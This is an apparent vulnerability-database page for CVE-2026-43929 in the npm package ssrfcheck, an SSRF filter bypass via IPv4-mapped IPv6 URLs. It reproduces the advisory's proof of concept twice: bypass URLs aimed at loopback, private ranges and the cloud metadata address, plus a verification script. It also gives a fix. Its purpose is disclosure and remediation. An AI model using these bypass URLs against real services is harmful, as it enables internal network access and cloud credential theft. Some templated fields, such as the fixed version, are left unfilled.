Vulnerabilities in pkg:npm/ssrfcheck

PACKAGE
Advisory Identifier: GHSA-j4rj-2jr5-m439
Advisory Summary

CVE-2026-43929 is a HIGH (CVSS 8.2) ssrfcheck vulnerable to server-side request vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Ssrfcheck libraries in the npm ecosystem. The issue involves ssrfcheck vulnerable to server-side request forgery (ssrf) and incomplete list of disallowed inputs. Remediation is available in the latest vendor maintenance releases.

3 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/ssrfcheck

3 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/ssrfcheck. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-j4rj-2jr5-m439 CVE-2026-43929 HIGH ssrfcheck Vulnerable to Server-Side Request Forgery (SSRF) and Incomplete List of Disallowed Inputs
GHSA-p4hc-9pjh-55c8 CVE-2025-8267 HIGH ssrfcheck: SSRF Bypass Caused by Failure to Classify Reserved IP Address Space as Invalid
GHSA-c2fv-2fmj-9xrx - HIGH Duplicate Advisory: ssrfcheck has Incomplete IP Address Deny List that leads to Server-Side Request Forgery Vulnerability

CVE-2026-43929 at a Glance

CVE Identifier CVE-2026-43929
GHSA Identifier GHSA-j4rj-2jr5-m439
Severity HIGH
CVSS v3.1 Base Score 8.2
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Ssrfcheck
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-43929

To remediate this vulnerability, upgrade all affected Ssrfcheck dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

ssrfcheck fixed: Latest secure release
npm install ssrfcheck@Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls ssrfcheck

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-43929, inspect your project dependencies using npm:

npm ls ssrfcheck

Analyze the terminal output to locate any version of Ssrfcheck in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The npm ls ssrfcheck command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Ssrfcheck, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `ssrfcheck` v1.3.0 (latest) fails to block Server-Side Request Forgery attacks when the target private IP address is encoded as an IPv4-mapped IPv6 address (e.g. `http://[::ffff:127.0.0.1]/`). The WHATWG URL parser built into Node.js silently normalizes the IPv4 notation inside the brackets to compressed hex form (`[::ffff:7f00:1]`) before the library's private-IP regex ever runs. The regex was written to match dot-notation only and therefore never matches any real input — all seven IANA private IPv4 ranges, including the AWS/GCP/Azure metadata address `169.254.169.254`, are bypassed. Any application using `isSSRFSafeURL()` to guard HTTP requests made with user-supplied URLs is fully exposed to SSRF. --- ### Details **Vulnerable file:** `src/is-private-ip.js` The library detects IPv6 private addresses using the `privIp6()` function. The relevant portion: ```js // src/is-private-ip.js (lines ~40-60 of the published source) function privIp6 (ip) { return /^::$/.test(ip) || /^::1$/.test(ip) || /^::f{4}:([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) || /^::f{4}:0.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) || /^64:ff9b::([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) || // ... more patterns, all expect dot-notation ... } ``` The third line is the IPv4-mapped IPv6 check. It expects input in the form `::ffff:127.0.0.1` (dots). However, the IP is extracted from the URL using `url.hostname`, which goes through the WHATWG URL parser first. **How WHATWG URL normalizes the address** (`src/parse-url.js`): ```js const url = new URL(normalizeURLStr(input)); // WHATWG URL parser runs here const ipcheck = trimBrackets(url.hostname); // e.g. '::ffff:7f00:1' ← hex, no dots const ipVersion = isIP(ipcheck); // returns 6 ``` The WHATWG URL spec (§5.3 IPv6 serializer) converts all embedded IPv4 notation to two 16-bit hex groups during parsing: ``` 127.0.0.1 → 0x7f000001 → [0x7f00, 0x0001] → serialized as 7f00:1 169.254.169.254 → 0xa9fea9fe → [0xa9fe, 0xa9fe] → serialized as a9fe:a9fe 192.168.1.1 → 0xc0a80101 → [0xc0a8, 0x0101] → serialized as c0a8:101 ``` So by the time the regex `/^::f{4}:(\d+)\.(\d+)\.(\d+)\.(\d+)$/` runs, the string it receives is `::ffff:7f00:1` — no dots, no match. The regex has been dead code since Node.js adopted WHATWG URL (v10+). **Entry point** (`src/index.js`): ```js if (hostIsIp && (options.noIP || isLoopbackAddr(ip) || isPrivateIP(ip, ipVersion))) { return false; // ← never reached for IPv4-mapped IPv6 } return true; // ← always reached → BYPASS ``` --- ### PoC **Environment:** Node.js >= 10, ssrfcheck any version including v1.3.0 (latest). No configuration required — default options are vulnerable. **Setup:** ```bash mkdir ssrfcheck-poc && cd ssrfcheck-poc npm init -y npm install ssrfcheck ``` **Step 1 — confirm WHATWG URL normalization:** ```bash node << 'EOF' const addrs = [ ['127.0.0.1', 'loopback'], ['169.254.169.254', 'AWS/GCP/Azure metadata'], ['192.168.1.1', 'private LAN'], ['10.0.0.1', '10.x range'], ]; for (const [ip, label] of addrs) { const h = new URL('http://[::ffff:' + ip + ']/').hostname; console.log(label + ' -> ' + h); } EOF ``` Expected output — confirms WHATWG drops dots: ``` loopback -> [::ffff:7f00:1] AWS/GCP/Azure metadata -> [::ffff:a9fe:a9fe] private LAN -> [::ffff:c0a8:101] 10.x range -> [::ffff:a00:1] ``` **Step 2 — trigger the bypass:** ```bash node << 'EOF' const { isSSRFSafeURL } = require('ssrfcheck'); const bypasses = [ 'http://[::ffff:127.0.0.1]/', 'http://[::ffff:169.254.169.254]/', 'http://[::ffff:192.168.1.1]/', 'http://[::ffff:10.0.0.1]/', 'http://[::ffff:172.16.0.1]/', 'http://[::ffff:7f00:1]/', 'http://[0:0:0:0:0:ffff:127.0.0.1]/', ]; for (const url of bypasses) { const result = isSSRFSafeURL(url); console.log(result === true ? '[BYPASS]' : '[caught]', url, '->', result); } console.log('---'); const r1 = isSSRFSafeURL('http://127.0.0.1/'); const r2 = isSSRFSafeURL('http://192.168.1.1/'); const r3 = isSSRFSafeURL('http://[::1]/'); console.log('127.0.0.1 caught?', r1 === false); console.log('192.168.1.1 caught?', r2 === false); console.log('[::1] caught?', r3 === false); EOF ``` **Confirmed output (live-verified on Node.js v20.20.2, ssrfcheck v1.3.0, Zorin OS Linux, 2026-04-12):** ``` [BYPASS] http://[::ffff:127.0.0.1]/ -> true [BYPASS] http://[::ffff:169.254.169.254]/ -> true [BYPASS] http://[::ffff:192.168.1.1]/ -> true [BYPASS] http://[::ffff:10.0.0.1]/ -> true [BYPASS] http://[::ffff:172.16.0.1]/ -> true [BYPASS] http://[::ffff:7f00:1]/ -> true [BYPASS] http://[0:0:0:0:0:ffff:127.0.0.1]/ -> true --- 127.0.0.1 caught? true 192.168.1.1 caught? true [::1] caught? true ``` 7/7 private-range variants bypass the check. Baseline dot-notation detections remain intact, confirming the bug is specific to the WHATWG normalization path. **Full automated verification script (`verify-ssrfcheck.js`):** ```js #!/usr/bin/node // ssrfcheck bypass verification script // Tests CWE-918 via IPv4-mapped IPv6 WHATWG URL normalization const { isSSRFSafeURL } = require('ssrfcheck'); const RED = '\x1b[31m'; const GREEN = '\x1b[32m'; const CYAN = '\x1b[36m'; const DIM = '\x1b[2m'; const RESET = '\x1b[0m'; const BYPASSES = [ { url: 'http://[::ffff:127.0.0.1]/', label: 'loopback (127.0.0.1)' }, { url: 'http://[::ffff:169.254.169.254]/', label: 'AWS meta (169.254.169.254)' }, { url: 'http://[::ffff:192.168.1.1]/', label: 'LAN (192.168.1.1)' }, { url: 'http://[::ffff:10.0.0.1]/', label: '10.x range (10.0.0.1)' }, { url: 'http://[::ffff:172.16.0.1]/', label: '172.16.x (172.16.0.1)' }, { url: 'http://[::ffff:7f00:1]/', label: 'hex form (direct)' }, { url: 'http://[0:0:0:0:0:ffff:127.0.0.1]/', label: 'expanded (0:0:0:0:0:ffff:127.0.0.1)' }, ]; const BASELINE = [ { url: 'http://127.0.0.1/', label: 'dotted loopback', expectFalse: true }, { url: 'http://192.168.1.1/', label: 'private LAN', expectFalse: true }, { url: 'http://[::1]/', label: 'IPv6 loopback', expectFalse: true }, { url: 'https://example.com/', label: 'public domain', expectFalse: false }, ]; console.log(`\n${CYAN}=== ssrfcheck v1.3.0 — bypass verification ===${RESET}`); console.log(`${DIM}Node.js ${process.version}${RESET}\n`); console.log(`${CYAN}[STEP 1] WHATWG URL hostname normalization${RESET}`); for (const { url } of BYPASSES) { const parsed = new URL(url); console.log(` ${url.padEnd(45)} -> hostname: ${parsed.hostname}`); } console.log(`\n${CYAN}[STEP 2] isSSRFSafeURL() results (all should return false)${RESET}`); let bypassed = 0; for (const { url, label } of BYPASSES) { const result = isSSRFSafeURL(url); if (result === true) bypassed++; const tag = result === true ? `${RED}[BYPASS]${RESET}` : `${GREEN}[caught]${RESET}`; console.log(` ${tag} ${label.padEnd(30)} -> isSSRFSafeURL() = ${result}`); } console.log(`\n${CYAN}[STEP 3] Baseline checks${RESET}`); for (const { url, label, expectFalse } of BASELINE) { const result = isSSRFSafeURL(url); const ok = (expectFalse ? result === false : result === true); const tag = ok ? `${GREEN}[OK]${RESET} ` : `${RED}[FAIL]${RESET} `; console.log(` ${tag} ${label.padEnd(20)} -> isSSRFSafeURL() = ${result}`); } console.log(`\n${bypassed === BYPASSES.length ? RED : GREEN}=== ${bypassed}/${BYPASSES.length} bypasses confirmed ===${RESET}\n`); process.exit(bypassed === BYPASSES.length ? 1 : 0); ``` Run: ```bash node verify-ssrfcheck.js # exit code 1 = bypasses confirmed (vulnerable) # exit code 0 = all caught (fixed) ``` # VIDEO POC ASCII CAST [![asciicast](https://asciinema.org/a/CxTKMwrlcHUUbQT8.svg)](https://asciinema.org/a/CxTKMwrlcHUUbQT8) -- ### Impact **Vulnerability type:** Server-Side Request Forgery (SSRF) — complete protection bypass **Who is impacted:** Any Node.js application that: 1. Accepts a URL from an untrusted source (user input, API parameter, webhook payload) 2. Uses `isSSRFSafeURL()` from `ssrfcheck` to validate that URL before making an outbound HTTP request 3. Runs on Node.js >= 10 (WHATWG URL parser enabled — all supported versions as of 2026) **Concrete impact scenarios:** - **Cloud metadata theft:** On AWS, GCP, or Azure, attacker sends `http://[::ffff:169.254.169.254]/latest/metadat - **Internal network pivoting:** Attacker reaches services on `10.x.x.x`, `172.16.x.x`, `192.168.x.x` that are not exposed to the internet, bypassing the only protection layer. - **Localhost access:** Attacker reaches `http://[::ffff:127.0.0.1]/admin` or any service bound to loopback on the server. The bypass requires no authentication, no special privileges, and no non-default configuration. It works against every version of ssrfcheck on every Node.js version >= 10. ## Weaknesses **CWE-918** — Server-Side Request Forgery (SSRF) **CWE-184** — Incomplete List of Disallowed Inputs --- ## Suggested Fix Replace the hand-rolled regex denylist in `src/is-private-ip.js` with Node's built-in `net.BlockList`, which operates on parsed IP values and is immune to string representation differences: ```diff - function privIp6 (ip) { - return /^::$/.test(ip) || - /^::1$/.test(ip) || - /^::f{4}:([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) || - /^::f{4}:0.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) || - ... - } + const { BlockList } = require('net'); + + const _ipv6Block = new BlockList(); + _ipv6Block.addAddress('::', 'ipv6'); // unspecified + _ipv6Block.addAddress('::1', 'ipv6'); // loopback + _ipv6Block.addSubnet('::ffff:0:0', 96, 'ipv6'); // ALL IPv4-mapped — catches any private IPv4 in any notation + _ipv6Block.addSubnet('64:ff9b::', 96, 'ipv6'); // NAT64 + _ipv6Block.addSubnet('fc00::', 7, 'ipv6'); // ULA + _ipv6Block.addSubnet('fe80::', 10, 'ipv6'); // link-local + _ipv6Block.addSubnet('ff00::', 8, 'ipv6'); // multicast + _ipv6Block.addSubnet('100::', 64, 'ipv6'); // IETF reserved + _ipv6Block.addSubnet('2001::', 32, 'ipv6'); // Teredo + _ipv6Block.addSubnet('2001:db8::', 32, 'ipv6'); // documentation + _ipv6Block.addSubnet('2002::', 16, 'ipv6'); // 6to4 + + function privIp6(ip) { + try { return _ipv6Block.check(ip, 'ipv6'); } + catch { return false; } + } ``` The `::ffff:0:0/96` subnet entry covers the entire IPv4-mapped IPv6 space in a single rule. `BlockList.check()` parses the IP numerically, so it is unaffected by WHATWG URL normalization or any other string representation.

CVE-2026-43929 Affected Ssrfcheck Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
ssrfcheck
npm
≤ 1.3.0

References

Frequently Asked Questions

What is CVE-2026-43929?
CVE-2026-43929 is a security vulnerability in Ssrfcheck involving ssrfcheck Vulnerable to Server-Side Request Forgery (SSRF) and Incomplete List of Disallowed Inputs under CWE-918: Server-Side Request Forgery (SSRF).
Which Ssrfcheck versions are affected?
Affected versions include releases prior to current release patches across affected packages: ssrfcheck.
What version fixes CVE-2026-43929?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is ssrfcheck affected?
Yes, ssrfcheck is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-43929?
CVE-2026-43929 has a CVSS v3.1 base score of 8.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N.
What CWE is associated with CVE-2026-43929?
CVE-2026-43929 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check npm dependencies for CVE-2026-43929?
Run the dependency tree command: 'npm ls ssrfcheck'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-j4rj-2jr5-m439",
  "modified" : "2026-05-13T16:26:31Z",
  "published" : "2026-05-05T20:29:33Z",
  "aliases" : [ "CVE-2026-43929" ],
  "summary" : "ssrfcheck Vulnerable to Server-Side Request Forgery (SSRF) and Incomplete List of Disallowed Inputs",
  "details" : "### Summary\n\n`ssrfcheck` v1.3.0 (latest) fails to block Server-Side Request Forgery attacks when the target private IP address is encoded as an IPv4-mapped IPv6 address (e.g. `http://[::ffff:127.0.0.1]/`). The WHATWG URL parser built into Node.js silently normalizes the IPv4 notation inside the brackets to compressed hex form (`[::ffff:7f00:1]`) before the library's private-IP regex ever runs. The regex was written to match dot-notation only and therefore never matches any real input — all seven IANA private IPv4 ranges, including the AWS/GCP/Azure metadata address `169.254.169.254`, are bypassed. Any application using `isSSRFSafeURL()` to guard HTTP requests made with user-supplied URLs is fully exposed to SSRF.\n\n---\n\n### Details\n\n**Vulnerable file:** `src/is-private-ip.js`\n\nThe library detects IPv6 private addresses using the `privIp6()` function. The relevant portion:\n\n```js\n// src/is-private-ip.js  (lines ~40-60 of the published source)\nfunction privIp6 (ip) {\n  return /^::$/.test(ip) ||\n    /^::1$/.test(ip) ||\n    /^::f{4}:([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/.test(ip) ||\n    /^::f{4}:0.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/.test(ip) ||\n    /^64:ff9b::([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/.test(ip) ||\n    // ... more patterns, all expect dot-notation ...\n}\n```\n\nThe third line is the IPv4-mapped IPv6 check. It expects input in the form `::ffff:127.0.0.1` (dots). However, the IP is extracted from the URL using `url.hostname`, which goes through the WHATWG URL parser first.\n\n**How WHATWG URL normalizes the address** (`src/parse-url.js`):\n\n```js\nconst url = new URL(normalizeURLStr(input));   // WHATWG URL parser runs here\nconst ipcheck = trimBrackets(url.hostname);    // e.g. '::ffff:7f00:1'  ← hex, no dots\nconst ipVersion = isIP(ipcheck);               // returns 6\n```\n\nThe WHATWG URL spec (§5.3 IPv6 serializer) converts all embedded IPv4 notation to two 16-bit hex groups during parsing:\n\n```\n127.0.0.1       → 0x7f000001 → [0x7f00, 0x0001] → serialized as 7f00:1\n169.254.169.254 → 0xa9fea9fe → [0xa9fe, 0xa9fe] → serialized as a9fe:a9fe\n192.168.1.1     → 0xc0a80101 → [0xc0a8, 0x0101] → serialized as c0a8:101\n```\n\nSo by the time the regex `/^::f{4}:(\\d+)\\.(\\d+)\\.(\\d+)\\.(\\d+)$/` runs, the string it receives is `::ffff:7f00:1` — no dots, no match. The regex has been dead code since Node.js adopted WHATWG URL (v10+).\n\n**Entry point** (`src/index.js`):\n\n```js\nif (hostIsIp && (options.noIP || isLoopbackAddr(ip) || isPrivateIP(ip, ipVersion))) {\n  return false;   // ← never reached for IPv4-mapped IPv6\n}\nreturn true;      // ← always reached → BYPASS\n```\n\n---\n\n### PoC\n\n**Environment:** Node.js >= 10, ssrfcheck any version including v1.3.0 (latest). No configuration required — default options are vulnerable.\n\n**Setup:**\n\n```bash\nmkdir ssrfcheck-poc && cd ssrfcheck-poc\nnpm init -y\nnpm install ssrfcheck\n```\n\n**Step 1 — confirm WHATWG URL normalization:**\n\n```bash\nnode << 'EOF'\nconst addrs = [\n  ['127.0.0.1',       'loopback'],\n  ['169.254.169.254', 'AWS/GCP/Azure metadata'],\n  ['192.168.1.1',     'private LAN'],\n  ['10.0.0.1',        '10.x range'],\n];\nfor (const [ip, label] of addrs) {\n  const h = new URL('http://[::ffff:' + ip + ']/').hostname;\n  console.log(label + ' -> ' + h);\n}\nEOF\n```\n\nExpected output — confirms WHATWG drops dots:\n```\nloopback              -> [::ffff:7f00:1]\nAWS/GCP/Azure metadata -> [::ffff:a9fe:a9fe]\nprivate LAN           -> [::ffff:c0a8:101]\n10.x range            -> [::ffff:a00:1]\n```\n\n**Step 2 — trigger the bypass:**\n\n```bash\nnode << 'EOF'\nconst { isSSRFSafeURL } = require('ssrfcheck');\n\nconst bypasses = [\n  'http://[::ffff:127.0.0.1]/',\n  'http://[::ffff:169.254.169.254]/',\n  'http://[::ffff:192.168.1.1]/',\n  'http://[::ffff:10.0.0.1]/',\n  'http://[::ffff:172.16.0.1]/',\n  'http://[::ffff:7f00:1]/',\n  'http://[0:0:0:0:0:ffff:127.0.0.1]/',\n];\n\nfor (const url of bypasses) {\n  const result = isSSRFSafeURL(url);\n  console.log(result === true ? '[BYPASS]' : '[caught]', url, '->', result);\n}\n\nconsole.log('---');\nconst r1 = isSSRFSafeURL('http://127.0.0.1/');\nconst r2 = isSSRFSafeURL('http://192.168.1.1/');\nconst r3 = isSSRFSafeURL('http://[::1]/');\nconsole.log('127.0.0.1 caught?',   r1 === false);\nconsole.log('192.168.1.1 caught?', r2 === false);\nconsole.log('[::1] caught?',        r3 === false);\nEOF\n```\n\n**Confirmed output (live-verified on Node.js v20.20.2, ssrfcheck v1.3.0, Zorin OS Linux, 2026-04-12):**\n\n```\n[BYPASS] http://[::ffff:127.0.0.1]/           -> true\n[BYPASS] http://[::ffff:169.254.169.254]/     -> true\n[BYPASS] http://[::ffff:192.168.1.1]/         -> true\n[BYPASS] http://[::ffff:10.0.0.1]/            -> true\n[BYPASS] http://[::ffff:172.16.0.1]/          -> true\n[BYPASS] http://[::ffff:7f00:1]/              -> true\n[BYPASS] http://[0:0:0:0:0:ffff:127.0.0.1]/  -> true\n---\n127.0.0.1 caught?   true\n192.168.1.1 caught? true\n[::1] caught?        true\n```\n\n7/7 private-range variants bypass the check. Baseline dot-notation detections remain intact, confirming the bug is specific to the WHATWG normalization path.\n\n**Full automated verification script (`verify-ssrfcheck.js`):**\n\n```js\n#!/usr/bin/node\n// ssrfcheck bypass verification script\n// Tests CWE-918 via IPv4-mapped IPv6 WHATWG URL normalization\n\nconst { isSSRFSafeURL } = require('ssrfcheck');\n\nconst RED   = '\\x1b[31m';\nconst GREEN = '\\x1b[32m';\nconst CYAN  = '\\x1b[36m';\nconst DIM   = '\\x1b[2m';\nconst RESET = '\\x1b[0m';\n\nconst BYPASSES = [\n  { url: 'http://[::ffff:127.0.0.1]/',         label: 'loopback   (127.0.0.1)' },\n  { url: 'http://[::ffff:169.254.169.254]/',   label: 'AWS meta   (169.254.169.254)' },\n  { url: 'http://[::ffff:192.168.1.1]/',       label: 'LAN        (192.168.1.1)' },\n  { url: 'http://[::ffff:10.0.0.1]/',          label: '10.x range (10.0.0.1)' },\n  { url: 'http://[::ffff:172.16.0.1]/',        label: '172.16.x   (172.16.0.1)' },\n  { url: 'http://[::ffff:7f00:1]/',            label: 'hex form   (direct)' },\n  { url: 'http://[0:0:0:0:0:ffff:127.0.0.1]/', label: 'expanded   (0:0:0:0:0:ffff:127.0.0.1)' },\n];\n\nconst BASELINE = [\n  { url: 'http://127.0.0.1/',    label: 'dotted loopback', expectFalse: true },\n  { url: 'http://192.168.1.1/',  label: 'private LAN',     expectFalse: true },\n  { url: 'http://[::1]/',        label: 'IPv6 loopback',   expectFalse: true },\n  { url: 'https://example.com/', label: 'public domain',   expectFalse: false },\n];\n\nconsole.log(`\\n${CYAN}=== ssrfcheck v1.3.0 — bypass verification ===${RESET}`);\nconsole.log(`${DIM}Node.js ${process.version}${RESET}\\n`);\n\nconsole.log(`${CYAN}[STEP 1] WHATWG URL hostname normalization${RESET}`);\nfor (const { url } of BYPASSES) {\n  const parsed = new URL(url);\n  console.log(`  ${url.padEnd(45)} -> hostname: ${parsed.hostname}`);\n}\n\nconsole.log(`\\n${CYAN}[STEP 2] isSSRFSafeURL() results (all should return false)${RESET}`);\nlet bypassed = 0;\nfor (const { url, label } of BYPASSES) {\n  const result = isSSRFSafeURL(url);\n  if (result === true) bypassed++;\n  const tag = result === true\n    ? `${RED}[BYPASS]${RESET}`\n    : `${GREEN}[caught]${RESET}`;\n  console.log(`  ${tag} ${label.padEnd(30)} -> isSSRFSafeURL() = ${result}`);\n}\n\nconsole.log(`\\n${CYAN}[STEP 3] Baseline checks${RESET}`);\nfor (const { url, label, expectFalse } of BASELINE) {\n  const result = isSSRFSafeURL(url);\n  const ok = (expectFalse ? result === false : result === true);\n  const tag = ok ? `${GREEN}[OK]${RESET}    ` : `${RED}[FAIL]${RESET}  `;\n  console.log(`  ${tag} ${label.padEnd(20)} -> isSSRFSafeURL() = ${result}`);\n}\n\nconsole.log(`\\n${bypassed === BYPASSES.length ? RED : GREEN}=== ${bypassed}/${BYPASSES.length} bypasses confirmed ===${RESET}\\n`);\nprocess.exit(bypassed === BYPASSES.length ? 1 : 0);\n```\n\nRun:\n```bash\nnode verify-ssrfcheck.js\n# exit code 1 = bypasses confirmed (vulnerable)\n# exit code 0 = all caught (fixed)\n```\n# VIDEO POC ASCII CAST\n\n[![asciicast](https://asciinema.org/a/CxTKMwrlcHUUbQT8.svg)](https://asciinema.org/a/CxTKMwrlcHUUbQT8)\n\n--\n\n### Impact\n\n**Vulnerability type:** Server-Side Request Forgery (SSRF) — complete protection bypass\n\n**Who is impacted:** Any Node.js application that:\n1. Accepts a URL from an untrusted source (user input, API parameter, webhook payload)\n2. Uses `isSSRFSafeURL()` from `ssrfcheck` to validate that URL before making an outbound HTTP request\n3. Runs on Node.js >= 10 (WHATWG URL parser enabled — all supported versions as of 2026)\n\n**Concrete impact scenarios:**\n\n- **Cloud metadata theft:** On AWS, GCP, or Azure, attacker sends `http://[::ffff:169.254.169.254]/latest/metadat \n- **Internal network pivoting:** Attacker reaches services on `10.x.x.x`, `172.16.x.x`, `192.168.x.x` that are not exposed to the internet, bypassing the only protection layer.\n- **Localhost access:** Attacker reaches `http://[::ffff:127.0.0.1]/admin` or any service bound to loopback on the server.\n\nThe bypass requires no authentication, no special privileges, and no non-default configuration. It works against every version of ssrfcheck on every Node.js version >= 10.\n\n\n## Weaknesses\n\n**CWE-918** — Server-Side Request Forgery (SSRF)\n**CWE-184** — Incomplete List of Disallowed Inputs\n\n---\n\n## Suggested Fix\n\nReplace the hand-rolled regex denylist in `src/is-private-ip.js` with Node's built-in `net.BlockList`, which operates on parsed IP values and is immune to string representation differences:\n\n```diff\n- function privIp6 (ip) {\n-   return /^::$/.test(ip) ||\n-     /^::1$/.test(ip) ||\n-     /^::f{4}:([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/.test(ip) ||\n-     /^::f{4}:0.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/.test(ip) ||\n-     ...\n- }\n\n+ const { BlockList } = require('net');\n+\n+ const _ipv6Block = new BlockList();\n+ _ipv6Block.addAddress('::',          'ipv6');          // unspecified\n+ _ipv6Block.addAddress('::1',         'ipv6');          // loopback\n+ _ipv6Block.addSubnet('::ffff:0:0',   96, 'ipv6');      // ALL IPv4-mapped — catches any private IPv4 in any notation\n+ _ipv6Block.addSubnet('64:ff9b::',    96, 'ipv6');      // NAT64\n+ _ipv6Block.addSubnet('fc00::',        7, 'ipv6');      // ULA\n+ _ipv6Block.addSubnet('fe80::',       10, 'ipv6');      // link-local\n+ _ipv6Block.addSubnet('ff00::',        8, 'ipv6');      // multicast\n+ _ipv6Block.addSubnet('100::',        64, 'ipv6');      // IETF reserved\n+ _ipv6Block.addSubnet('2001::',       32, 'ipv6');      // Teredo\n+ _ipv6Block.addSubnet('2001:db8::',   32, 'ipv6');      // documentation\n+ _ipv6Block.addSubnet('2002::',       16, 'ipv6');      // 6to4\n+\n+ function privIp6(ip) {\n+   try { return _ipv6Block.check(ip, 'ipv6'); }\n+   catch { return false; }\n+ }\n```\n\nThe `::ffff:0:0/96` subnet entry covers the entire IPv4-mapped IPv6 space in a single rule. `BlockList.check()` parses the IP numerically, so it is unaffected by WHATWG URL normalization or any other string representation.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "ssrfcheck"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.3.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/felippe-regazio/ssrfcheck/security/advisories/GHSA-j4rj-2jr5-m439"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-43929"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/felippe-regazio/ssrfcheck"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-184", "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-05T20:29:33Z",
    "nvd_published_at" : "2026-05-12T18:17:28Z"
  }
}